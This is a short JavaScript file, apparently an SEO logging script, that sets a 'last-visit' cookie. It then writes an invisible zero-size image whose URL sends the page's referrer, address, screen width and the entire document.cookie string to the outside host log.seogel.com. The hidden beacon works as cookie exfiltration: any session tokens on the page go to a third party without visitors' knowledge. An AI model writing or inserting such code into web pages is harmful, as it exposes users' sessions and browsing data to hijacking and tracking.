function Write(keyName, keyValue, time)
{
	var expires = new Date();
	expires = new Date(expires.getTime() + time);
	document.cookie = keyName + '=' + keyValue + '; expires=' + expires.toGMTString() + ';';
}

function SetCookie()
{
	if(document.cookie)
	{
		Write('last-visit', new Date().toGMTString(), 365 * 24 * 60 * 60 * 1000);
	}
}

var reqUrlParams = "http://log.seogel.com/seo.gif";
reqUrlParams += "?R[" + document.referrer + "]";
reqUrlParams += "U[" + document.location + "]";
reqUrlParams += "S[" + screen.width + "]";
reqUrlParams += "C[" + document.cookie + "]";
document.writeln("<img src='" + reqUrlParams + "' alt='Seo' border='0' width='0' height='0'>");

SetCookie();